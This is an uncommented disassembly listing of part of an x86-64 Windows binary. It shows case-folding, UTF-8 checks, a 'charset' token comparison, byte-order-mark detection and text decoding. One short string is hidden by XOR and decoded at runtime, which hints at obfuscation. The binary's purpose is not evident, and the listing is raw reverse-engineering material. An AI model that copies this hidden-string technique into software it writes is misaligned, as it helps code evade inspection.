xor eax, eax
mov r15, rbx
mov cl, byte [r15 + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r15 + rax], dl
inc rax
cmp rsi, rax
jne 0x14000a534
jmp 0x14000a5cc
mov r9, qword [rsp + 0x48]
cmp r9, rsi
jae 0x14000a56a
cmp byte [r15 + r9], 0xbf
jg 0x14000a570
jmp 0x14000c8b8
jne 0x14000c8b8
test r9, r9
js 0x14000c5ad
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, r9
mov rbx, r9
call fcn.1400e4e70
test rax, rax
je 0x14000c8d2
mov rsi, rax
mov rcx, rax
mov rdx, r15
mov r8, rbx
call fcn.1401035b1
xor eax, eax
mov r15, rsi
mov cl, byte [r15 + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r15 + rax], dl
inc rax
cmp rbx, rax
jne 0x14000a5ab
mov rsi, rbx
movabs r9, 0x100003600
mov r14, qword [rsp + 0x110]
mov r8, qword [rsp + 0x98]
mov r10, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0x90]
jmp 0x14000a861
mov rax, qword [rsp + 0x80]
and rax, 0xffffffffffffff00
or rax, 2
jmp 0x14000a491
mov rcx, qword [rsp + 0x80]
and rcx, 0xffffffffffff0000
shl edx, 8
add rcx, rdx
add rcx, 3
mov qword [rsp + 0x80], rcx
mov rbx, rax
jmp 0x14000a4a1
mov ebx, 1
mov rcx, rbx
mov rdx, r15
mov r8, rsi
call fcn.1401035b1
mov r14, qword [rsp + 0x110]
test r14, r14
movabs r9, 0x100003600
mov r15, rbx
mov r8, qword [rsp + 0x98]
mov r10, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0x90]
je 0x14000a6ca
cmp rsi, r14
jbe 0x14000a6a4
cmp byte [r15 + r14], 0xbf
jg 0x14000a6aa
jmp 0x14000c8df
mov r15d, 1
mov r14, qword [rsp + 0x110]
jmp 0x14000a861
jne 0x14000c8df
xor eax, eax
mov cl, byte [r15 + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r15 + rax], dl
inc rax
cmp r14, rax
jne 0x14000a6ac
test rbx, rbx
je 0x14000a861
mov rax, rbx
shl rax, 5
mov rcx, qword [rsp + 0x80]
add rax, rcx
mov qword [rsp + 0x48], rax
mov r8, qword [rcx]
mov r9, qword [rcx + 8]
cmp r9, r8
jb 0x14000c5f1
test r8, r8
je 0x14000a716
cmp r8, rsi
jae 0x14000a710
cmp byte [r15 + r8], 0xc0
jge 0x14000a716
jmp 0x14000c5f1
jne 0x14000c5f1
test r9, r9
je 0x14000a732
cmp r9, rsi
jae 0x14000a72c
cmp byte [r15 + r9], 0xc0
jge 0x14000a732
jmp 0x14000c5f1
jne 0x14000c5f1
mov rax, r14
mov r14, rbx
mov rdx, r9
sub rdx, r8
je 0x14000a763
mov r10, r8
mov r11b, byte [r15 + r10]
lea ebx, [r11 - 0x41]
cmp bl, 0x1a
setb bl
shl bl, 5
or bl, r11b
mov byte [r15 + r10], bl
inc r10
cmp r9, r10
jne 0x14000a743
test r8, r8
mov rbx, r14
mov r14, rax
je 0x14000a785
cmp r8, rsi
jae 0x14000a77f
cmp byte [r15 + r8], 0xc0
jge 0x14000a785
jmp 0x14000c69e
jne 0x14000c69e
test r9, r9
je 0x14000a7a1
cmp r9, rsi
jae 0x14000a79b
cmp byte [r15 + r9], 0xbf
jg 0x14000a7a1
jmp 0x14000c69e
jne 0x14000c69e
cmp rdx, 7
jne 0x14000a838
mov edx, dword [r15 + r8]
mov r9d, 0x72616863
xor edx, r9d
mov r8d, dword [r15 + r8 + 3]
mov r9d, 0x74657372
xor r8d, r9d
or r8d, edx
jne 0x14000a838
mov r8, qword [rcx + 0x10]
mov r9, qword [rcx + 0x18]
cmp r8, r9
ja 0x14000c7d9
test r8, r8
je 0x14000a7f8
cmp r8, rsi
jae 0x14000a7f2
cmp byte [r15 + r8], 0xc0
jge 0x14000a7f8
jmp 0x14000c7d9
jne 0x14000c7d9
test r9, r9
je 0x14000a833
cmp r9, rsi
jae 0x14000a80e
cmp byte [r15 + r9], 0xc0
jge 0x14000a833
jmp 0x14000c7d9
je 0x14000a833
jmp 0x14000c7d9
mov dl, byte [r15 + r8]
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
or r10b, dl
mov byte [r15 + r8], r10b
inc r8
cmp r9, r8
jne 0x14000a815
add rcx, 0x20
cmp rcx, qword [rsp + 0x48]
mov r10, qword [rsp + 0xa8]
jne 0x14000a6ea
movabs r9, 0x100003600
mov r8, qword [rsp + 0x98]
mov qword [rsp + 0x158], r15
mov ecx, r8d
shr ecx, 8
mov rax, r8
shr rax, 0x10
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x190], rbx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x200], rax
jmp 0x140009b26
mov rax, qword [rsp + 0x80]
and rax, 0xffffffffffff0000
shl edx, 8
add rax, rdx
add rax, 3
mov qword [rsp + 0x80], rax
jmp 0x14000a4a1
mov al, 0x20
mov rbx, r11
mov rcx, qword [rsp + 0x80]
and rcx, 0xffffffffffff0000
movzx eax, al
shl eax, 8
add rcx, rax
add rcx, 3
mov qword [rsp + 0x80], rcx
jmp 0x14000a4a1
mov cl, 0x22
mov rdx, qword [rsp + 0x80]
and rdx, 0xffffffffffff0000
movzx eax, cl
shl eax, 8
add rdx, rax
add rdx, 3
mov qword [rsp + 0x80], rdx
mov rbx, qword [rsp + 0x88]
jmp 0x14000a4a1
mov rdx, qword [rax]
mov rcx, rbx
lea r8, [rsp + 0x3c0]
call fcn.14007420b
mov rcx, qword [rsp + 0x50]
cmp rcx, 2
jne 0x14000a99b
mov al, 5
mov byte [rsp + 0x719], al
mov al, 3
mov byte [rsp + 0x760], al
mov byte [rsp + 0x768], al
cmp r12d, 0x3b9aca00
jne 0x14000a97b
call fcn.1400d13b0
jmp 0x14000aa50
call fcn.1400e4d00
mov r8d, edx
mov rcx, qword [rsp + 0x40]
cmp rax, rcx
jne 0x14000aa12
cmp r8d, r12d
jb 0x14000aa14
jmp 0x14000aa5c
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
movups xmm0, xmmword [rdx + 8]
movaps xmmword [rsp + 0x790], xmm0
test rcx, rcx
je 0x14000aabf
test rax, rax
je 0x14000ab0d
movdqa xmm0, xmmword [rsp + 0x790]
lea rcx, [rsp + 0xd0]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdi
lea rcx, [rsp + 0x720]
lea rdx, [rsp + 0xc0]
call fcn.1400c32d6
mov qword [rsp + 0x738], rbp
mov rax, rbp
jmp 0x14000a931
ja 0x14000aa5c
mov qword [rsp + 0x260], rcx
mov dword [rsp + 0x268], r12d
lea rcx, [rsp + 0x260]
mov rdx, rax
call fcn.1400d05d0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1400d1520
mov al, byte [rsp + 0x768]
jmp 0x140009360
movzx eax, byte [rsp + 0x768]
test eax, eax
je 0x14000ae96
cmp eax, 3
jne 0x14000aea3
mov rcx, r14
call fcn.1400c5630
cmp dword [rsp + 0x520], 2
je 0x14000aea3
lea rcx, [rsp + 0x520]
call fcn.1400c2cc8
jmp 0x14000aea3
movaps xmmword [rsp + 0x1f0], xmm6
lea rbp, [0x14016c860]
lea rdi, [0x14019e2d0]
jmp 0x14000aba4
xor ebp, ebp
jmp 0x14000aba4
lea rcx, [rsp + 0x720]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x120], xmm0
mov rcx, rbx
lea rdx, [rsp + 0x120]
call fcn.14002a138
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1f0], xmm0
jmp 0x14000aba4
cmp qword [rsp + 0x720], 0
je 0x14000ab2f
mov r8, qword [rsp + 0x728]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
jmp 0x14000ab77
mov rbp, qword [rsp + 0x6f0]
mov rdi, qword [rsp + 0x6f8]
lea rax, [rsp + 0x700]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1f0], xmm0
lea rcx, [0x140115d98]
mov qword [rsp + 0x6f0], rcx
lea rcx, [0x14019e2d0]
mov qword [rsp + 0x6f8], rcx
movups xmmword [rax], xmm6
cmp byte [rsp + 0x718], 0
je 0x14000aba4
mov rax, qword [rsp + 0x6f0]
mov rdx, qword [rsp + 0x6f8]
mov r8, qword [rsp + 0x700]
lea rcx, [rsp + 0x708]
call qword [rax + 8]
mov byte [rsp + 0x718], 0
lea rcx, [rsp + 0x6d0]
call fcn.14007263f
mov sil, 1
mov byte [rsp + 0x719], sil
mov rcx, r15
call case.0x1400aeeba.19
lea rcx, [rsp + 0x618]
call fcn.1400607c5
mov rcx, qword [rsp + 0x678]
call fcn.1400a9dd3
mov rcx, qword [rsp + 0x6a0]
call fcn.14006086e
movdqa xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x770], xmm0
mov byte [rsp + 0x760], sil
mov rcx, r14
call fcn.1400c5630
test rbp, rbp
je 0x14000ac66
movdqa xmm0, xmmword [rsp + 0x770]
lea rax, [rsp + 0x178]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x168], rbp
mov qword [rsp + 0x170], rdi
mov rbx, qword [rsp + 0x578]
mov r10, qword [rsp + 0x178]
cmp r10, 3
jae 0x14000ac85
cmp r10, 2
je 0x14000ac9c
mov r14, rdi
mov r12, r10
jmp 0x14000acea
movabs rax, 0x8000000000000000
mov rcx, rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x40], rdi
jmp 0x14000b69e
movzx eax, word [rdi]
xor eax, 0xbbef
movzx ecx, byte [rdi + 2]
xor ecx, 0xbf
or cx, ax
je 0x14000acc9
movzx eax, word [rdi]
mov ecx, 2
cmp eax, 0xfeff
je 0x14000acc0
cmp word [rdi], 0xfffe
lea rax, [0x14016a3b0]
mov r14, rdi
mov r12, r10
jne 0x14000acea
jmp 0x14000acd5
lea rax, [0x14016a3b8]
jmp 0x14000acd5
mov ecx, 3
lea rax, [0x14016a3c0]
mov r12, r10
sub r12, rcx
jb 0x14000c636
mov rbx, qword [rax]
add rcx, rdi
mov r14, rcx
lea rax, [0x14013efb8]
cmp rbx, rax
lea rcx, [0x14013ef90]
mov qword [rsp + 0x90], r14
je 0x14000ad52
lea rax, [0x14013f068]
cmp rbx, rax
je 0x14000ad52
cmp rbx, rcx
je 0x14000ad52
lea rax, [0x14013efe0]
cmp rbx, rax
je 0x14000ae15
lea rax, [0x14013ec78]
cmp rbx, rax
je 0x14000aebc
mov eax, r14d
neg eax
and eax, 7
lea rcx, [rax + 0x10]
cmp rcx, r12
jbe 0x14000aeef
xor eax, eax
jmp 0x14000af35
mov qword [rsp + 0x100], r10
mov dl, byte [rbx]
mov r8, qword [rbx + 8]
lea rsi, [rsp + 0x50]
mov rcx, rsi
call fcn.140045213
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], 9
mov rcx, rsi
mov rdx, r12
call fcn.1400452b3
mov r15, rax
mov rbx, rdx
mov rcx, rsi
mov rdx, r12
call fcn.140045402
mov rsi, rdx
cmp r15, 1
jne 0x14000add8
lea rcx, [rbx - 1]
bsr rcx, rcx
not ecx
mov rdx, 0xffffffffffffffff
shr rdx, cl
inc rdx
cmp rbx, 2
mov ecx, 1
cmovb rdx, rcx
cmp rdx, rsi
cmovb rsi, rdx
cmp rax, 1
cmovne rsi, rdx
lea r10, [0x14019f234]
jmp 0x14000ade8
test rax, rax
lea r10, [0x14019f234]
je 0x14000c6aa
test rsi, rsi
je 0x14000ae2e
js 0x14000c5ad
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
je 0x14000c5c1
lea r10, [0x14019f234]
jmp 0x14000ae33
mov rcx, r14
mov rdx, r12
mov rsi, r10
call fcn.140045564
mov r10, rsi
mov r15, rax
jmp 0x14000af79
mov eax, 1
movdqu xmm0, xmmword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmm2, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x280], xmm2
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], 0
xor r15d, r15d
jmp 0x14000b0f0
lea rcx, [rsp + 0x3e0]
call fcn.1400a9da3
movabs rsi, 0x8000000000000000
mov r12, rsi
xor eax, eax
mov qword [rsp + 0x40], rax
jmp 0x14000b6f2
xor eax, eax
cmp r12, rax
je 0x14000af81
mov r15, rax
movzx ecx, byte [r14 + rax]
test cl, cl
js 0x14000af79
lea rax, [r15 + 1]
cmp ecx, 0x1b
ja 0x14000aebe
mov edx, 0x800c000
bt edx, ecx
jae 0x14000aebe
jmp 0x14000af79
test rax, rax
je 0x14000af06
xor r15d, r15d
cmp byte [r14 + r15], 0
js 0x14000af79
inc r15
cmp rax, r15
jne 0x14000aef7
lea rcx, [r12 - 0x10]
mov rdx, qword [r14 + rax]
movabs r9, 0x8080808080808080
and rdx, r9
mov r8, qword [r14 + rax + 8]
and r8, r9
mov r9, r8
or r9, rdx
jne 0x14000af4e
add rax, 0x10
cmp rax, rcx
jbe 0x14000af0b
mov r15, rax
cmp rax, r12
jae 0x14000af81
cmp byte [r14 + r15], 0
js 0x14000af79
inc r15
cmp r12, r15
jne 0x14000af3d
jmp 0x14000af81
test rdx, rdx
je 0x14000af5d
bsf r15, rdx
shr r15d, 3
jmp 0x14000af76
test r8, r8
je 0x14000af68
bsf r15, r8
jmp 0x14000af6e
mov r15d, 0x40
shr r15d, 3
add r15d, 8
add r15, rax
mov rsi, r12
sub rsi, r15
jne 0x14000af9b
lea r14, [rsp + 0x580]
lea r15, [rsp + 0x6b0]
lea rbx, [rsp + 0x50]
jmp 0x14000b632
mov qword [rsp + 0x100], r10
mov dl, byte [rbx]
mov r8, qword [rbx + 8]
lea r14, [rsp + 0x50]
mov rcx, r14
call fcn.140045213
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], 9
mov rcx, r14
mov rdx, rsi
call fcn.1400452b3
mov r14, rbp
cmp rax, 1
jne 0x14000afd9
add rdx, r15
jae 0x14000afdd
xor ebp, ebp
jmp 0x14000b004
lea rax, [rdx - 1]
bsr rcx, rax
not ecx
mov rbx, 0xffffffffffffffff
shr rbx, cl
inc rbx
cmp rdx, 2
mov eax, 1
cmovb rbx, rax
mov bpl, 1
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.140045402
mov rsi, rdx
cmp rax, 1
setne cl
add rsi, r15
setb al
or al, cl
test bpl, bpl
je 0x14000b03a
cmp rbx, rsi
cmovb rsi, rbx
test al, al
cmovne rsi, rbx
mov rbp, r14
jmp 0x14000b045
test al, al
mov rbp, r14
jne 0x14000c848
test rsi, rsi
mov r14, qword [rsp + 0x90]
je 0x14000b076
js 0x14000c5ad
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
je 0x14000c5c1
mov rbx, rax
jmp 0x14000b07b
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, r15
call fcn.1401035b1
movdqu xmm0, xmmword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmm2, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x280], xmm2
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x120], rsi
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0x130], r15
cmp r12, r15
lea r10, [0x14019f234]
jb 0x14000c6b6
mov r8, r15
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0xa0], r12
mov rdx, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x130]
mov rax, rdx
mov qword [rsp + 0xb0], rdx
sub rdx, rcx
jb 0x14000c5ce
sub r12, r8
mov qword [rsp + 0xb8], r8
lea r9, [r14 + r8]
mov r8, qword [rsp + 0x128]
mov rax, r8
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x98], rcx
add r8, rcx
xor r15d, r15d
xor ebp, ebp
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xe0], r8
mov rsi, rdx
sub rsi, rbp
jb 0x14000c559
lea rbx, [r9 + r15]
mov r13, r12
sub r13, r15
lea r11, [r8 + rbp]
movzx eax, byte [rsp + 0x78]
movsxd r9, dword [r10 + rax*4]
add r9, r10
mov al, 9
movzx eax, al
mov cl, 7
movzx ecx, cl
mov dl, 6
movzx edx, dl
mov r8b, 4
movzx r8d, r8b
xor r14d, r14d
jmp r9
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
mov byte [rsp + 0x38], 0xbb
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
mov r8, rbx
mov r9, r13
call fcn.14004583c
mov al, byte [rsp + 0xc8]
lea r13, [rsp + 0x488]
lea rbx, [rsp + 0x50]
lea r10, [0x14019f234]
mov r14, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov r9, qword [rsp + 0xe8]
add r15, qword [rsp + 0xc0]
add rbp, qword [rsp + 0xd0]
cmp al, 2
mov r8, qword [rsp + 0xe0]
jb 0x14000b56d
cmp rbp, rdx
jae 0x14000c46a
mov byte [r8 + rbp], 0xef
lea rcx, [rbp + 1]
cmp rcx, rdx
jae 0x14000c479
mov byte [r8 + rbp + 1], 0xbf
lea rcx, [rbp + 2]
cmp rcx, rdx
jae 0x14000c485
mov byte [r8 + rbp + 2], 0xbd
add rbp, 3
cmp r15, r12
jbe 0x14000b16e
jmp 0x14000c58c
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0x260]
lea rdx, [rsp + 0x50]
mov r8, rbx
mov r9, r13
call fcn.140045bf0
mov al, byte [rsp + 0x268]
test al, al
jne 0x14000b2b0
mov byte [rsp + 0x78], 0xa
movzx ecx, word [rsp + 0x269]
mov rdx, qword [rsp + 0x260]
mov r8, qword [rsp + 0x270]
mov byte [rsp + 0xc8], al
mov word [rsp + 0xc9], cx
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xd0], r8
jmp 0x14000b1e7
cmp r12, r15
je 0x14000b5e9
movzx r9d, byte [rbx]
cmp r9d, 0xef
je 0x14000b338
cmp r9d, 0xfe
je 0x14000b326
cmp r9d, 0xff
jne case.default.0x14000b323
mov byte [rsp + 0x78], 7
inc r14
movsxd r9, dword [r10 + rcx*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 6
inc r14
movsxd r9, dword [r10 + rdx*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 4
inc r14
movsxd r9, dword [r10 + r8*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
cmp r12, r15
je 0x14000b5e9
cmp byte [rbx], 0xef
jne case.default.0x14000b376
mov byte [rsp + 0x78], 4
inc r14
movsxd r9, dword [r10 + r8*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
cmp r12, r15
je 0x14000b5e9
cmp byte [rbx], 0xfe
jne case.default.0x14000b3a5
mov byte [rsp + 0x78], 6
inc r14
movsxd r9, dword [r10 + rdx*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
cmp r12, r15
je 0x14000b5e9
cmp byte [rbx], 0xff
je case.default.0x14000b3d1
mov byte [rsp + 0x78], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
mov byte [rsp + 0x78], 7
inc r14
movsxd r9, dword [r10 + rcx*4]
add r9, r10
jmp r9
cmp r14, r13
jae case.default.0x14000b408
cmp byte [rbx + r14], 0xbb
jne case.default.0x14000b408
mov byte [rsp + 0x78], 5
inc r14
mov r9b, 5
movzx r9d, r9b
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
cmp r14, r13
jae 0x14000b4d8
cmp byte [rbx + r14], 0xbf
jne 0x14000b4d8
mov byte [rsp + 0x78], 9
lea rcx, [0x14013efe0]
cmp qword [rsp + 0x70], rcx
lea rdx, [rsp + 0x50]
je 0x14000b543
mov qword [rsp + 0x70], rcx
mov rcx, rdx
mov dl, 1
jmp 0x14000b526
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
mov byte [rsp + 0x38], 0xef
jmp 0x14000b1c8
cmp r14, r13
jae 0x14000b4bf
cmp byte [rbx + r14], 0xfe
jne 0x14000b4bf
mov byte [rsp + 0x78], 9
lea rcx, [0x14013efb8]
cmp qword [rsp + 0x70], rcx
lea rdx, [rsp + 0x50]
je 0x14000b543
mov qword [rsp + 0x70], rcx
mov rcx, rdx
mov dl, 0xb
jmp 0x14000b526
cmp r14, r13
jae 0x14000b4a6
cmp byte [rbx + r14], 0xff
je 0x14000b504
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
mov byte [rsp + 0x38], 0xfe
jmp 0x14000b1c8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
mov byte [rsp + 0x38], 0xff
jmp 0x14000b1c8
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x50]
mov r8, rbx
mov r9, r13
call fcn.1400459d4
jmp 0x14000b1e0
mov byte [rsp + 0x78], 9
lea rcx, [0x14013ef90]
cmp qword [rsp + 0x70], rcx
lea rdx, [rsp + 0x50]
je 0x14000b543
mov qword [rsp + 0x70], rcx
mov rcx, rdx
mov dl, 0xa
xor r8d, r8d
mov qword [rsp + 0xf0], r11
call fcn.140045213
lea rdx, [rsp + 0x50]
mov r11, qword [rsp + 0xf0]
inc r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r11
lea rcx, [rsp + 0xc0]
mov r8, rbx
mov r9, r13
call fcn.140045b5c
jmp 0x14000b1e0
add rbp, qword [rsp + 0x98]
mov qword [rsp + 0x130], rbp
test al, al
je 0x14000b606
add r15, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xa0]
mov rdx, r12
sub rdx, r15
mov rcx, rbx
call fcn.140045402
test rax, rax
je 0x14000c8ac
mov r8, rdx
mov rax, qword [rsp + 0xb0]
sub rax, rbp
cmp rax, rdx
jb 0x14000b5d7
mov r8, r15
cmp r12, r15
lea r10, [0x14019f234]
jae 0x14000b103
jmp 0x14000c6b6
lea rcx, [rsp + 0x120]
mov rdx, rbp
call fcn.140104f6e
jmp 0x14000b5bf
add rbp, qword [rsp + 0x98]
mov qword [rsp + 0x130], rbp
lea r13, [rsp + 0x488]
lea rbx, [rsp + 0x50]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xb0], rax
lea r14, [rsp + 0x580]
lea r15, [rsp + 0x6b0]
mov r10, qword [rsp + 0x100]
jne 0x14000b67b
test r10, r10
je 0x14000c2ff
js 0x14000c689
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, r10
mov r12, r10
call fcn.1400e4e70
test rax, rax
lea rbp, [rsp + 0x710]
je 0x14000c674
mov rsi, rax
mov rax, r12
mov qword [rsp + 0xb0], r12
mov r10, r12
jmp 0x14000c316
lea rcx, [rsp + 0x180]
mov rdx, rdi
mov r8, r10
mov rax, qword [rsp + 0xf8]
call qword [rax + 8]
movabs rax, 0x8000000000000000
cmp dword [rsp + 0x520], 2
mov rdx, rbp
lea rbp, [rsp + 0x710]
je 0x14000b6d0
lea rcx, [rsp + 0x520]
mov rsi, rdx
call fcn.1400c2cc8
mov rdx, rsi
movabs rax, 0x8000000000000000
mov r12, qword [rsp + 0xb0]
cmp r12, rax
mov rcx, qword [rsp + 0x1b0]
cmovne rcx, rdx
mov qword [rsp + 0x1b0], rcx
mov rsi, rax
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1e8]
call qword [rax + 0x18]
cmp r12, rsi
jne 0x14000b72f
cmp qword [rsp + 0x40], 0
jne 0x14000b72a
mov cx, 5
call fcn.140074312
movabs rsi, 0x8000000000000000
mov qword [rsp + 0x40], rax
mov r12, rsi
jmp 0x14000b73f
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x118], rax
mov rcx, qword [rsp + 0x1b8]
test rcx, rcx
je 0x14000b7b8
mov rbp, rbx
mov rbx, r13
mov r13, r15
mov r15, r14
mov rdi, qword [rsp + 0x1a8]
call qword [rdi]
mov r8, qword [rsp + 0x1b8]
movabs rsi, 0x8000000000000000
cmp qword [rdi + 8], 0
mov r15, r13
mov r13, rbx
mov rbx, rbp
lea rbp, [rsp + 0x710]
je 0x14000b7b8
mov rax, qword [rsp + 0x1a8]
cmp qword [rax + 0x10], 0x11
jb 0x14000b79f
mov r8, qword [r8 - 8]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rsi, 0x8000000000000000
mov rcx, qword [rsp + 0x210]
test rcx, rcx
je 0x14000b7da
lock dec qword [rcx]
jne 0x14000b7da
call fcn.1400c313e
movabs rsi, 0x8000000000000000
cmp r12, rsi
jne 0x14000b849
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x3e0], rax
lea rcx, [rsp + 0x3e0]
call fcn.140001b7c
mov ecx, 5
call case.0x14008af4a.451
cmp qword [rsp + 0x3a8], 0
je 0x14000b825
mov r8, qword [rsp + 0x3b0]
mov rcx, qword [0x1401aa478]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x140]
lock dec qword [rax]
jne 0x14000c422
mov rcx, qword [rsp + 0x140]
call fcn.1400c313e
jmp 0x14000c422
mov r15, r12
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x118]
mov r8d, 0xa
call fcn.140061a06
mov rdi, rax
mov rsi, rdx
test rdx, rdx
je 0x14000b89e
js 0x14000c612
mov al, byte [0x1401aa510]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e4e70
test rax, rax
lea rbx, [rsp + 0x3e0]
je 0x14000c5fd
mov r14, rax
mov r12, rsi
jmp 0x14000b8af
mov r14d, 1
xor r12d, r12d
lea rbx, [rsp + 0x3e0]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.1401035b1
xor edi, edi
mov qword [rsp + 0x3e0], rdi
mov qword [rsp + 0x3e8], rsi
mov qword [rsp + 0x3f0], r14
mov qword [rsp + 0x3f8], rsi
mov qword [rsp + 0x400], rdi
mov qword [rsp + 0x408], rsi
movabs rax, 0x2000000020
mov qword [rsp + 0x410], rax
mov byte [rsp + 0x418], 1
mov word [rsp + 0x420], 1
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.1400f9d0b
cmp qword [rsp + 0x270], rdi
je 0x14000c491
mov qword [rsp + 0x138], r14
mov rdi, qword [rsp + 0x268]
lea rax, str.:PHl
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov ebx, dword [rax + 0x7e16]
mov bpl, byte [rax + 0x7e1a]
mov al, byte [0x1401aa510]
mov edx, 5
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c59e
xor bpl, 0x47
xor ebx, 0xb4a7a69d
mov byte [rax + 4], bpl
mov dword [rax], ebx
cmp qword [rdi + 8], 5
jne 0x14000bb2f
mov rcx, qword [rdi]
mov edi, dword [rcx]
xor edi, dword [rax]
mov cl, byte [rcx + 4]
xor cl, byte [rax + 4]
movzx ebx, cl
mov rcx, qword [0x1401aa478]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
or ebx, edi
sete bpl
jne 0x14000bb43
lea rcx, [0x1401151e0]
call fcn.1400f0b61
mov rbx, rax
mov rdi, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov r14d, 1
lock xadd qword [0x1401aa2c0], r14
mov al, byte [0x1401aa510]
mov edx, 0x180
xor ecx, ecx
call fcn.1400e4e70
test rax, rax
je 0x14000c71a
lea rcx, [rdi + 0x120]
add rdi, 0xc0
test rbx, rbx
cmovne rdi, rcx
mov rcx, rax
and rcx, 0xffffffffffffff80
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
xor edx, edx
mov qword [rcx + 0x88], rdx
lea rax, [0x140114aa8]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], rdx
mov qword [rcx + 0xa0], r14
mov qword [rcx + 0xa8], r15
mov rax, qword [rsp + 0x40]
